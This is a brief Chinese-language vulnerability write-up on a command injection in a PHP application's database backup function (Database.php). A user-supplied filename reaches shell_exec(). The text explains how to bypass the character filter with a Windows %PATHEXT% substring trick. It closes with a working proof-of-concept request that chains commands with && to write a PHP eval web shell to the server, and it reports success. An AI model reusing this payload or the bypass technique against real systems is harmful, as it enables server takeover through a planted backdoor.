1.漏洞分析
问题出在
/system/core/utils/Database.php中
从疑似可控点找到用户可控传参
第360行的shell_exec()最后的$dumpFile疑似可控
向上追
第352行的$dumpFile又由$backupFileName控制,可用&&或者||进行连续的命令执行
往上走
这里容易看出是一个过滤点,将 / \\ . ' 替换为空
最后就是参数filename接受用户传参
针对过滤函数,则是参考了命令执行漏洞绕过过滤这篇文章
考虑用windows自带的环境变量字符串截断绕过.或者其他敏感字符的过滤
2.漏洞利用
第一个点的shell_exec疑似是数据库备份
因此来到漏洞点抓包
直接上马:Poc:
111%26%26echo "<?php eval($_REQUEST[6])?>" > 111%PATHEXT:~0,1%php%26%262
成功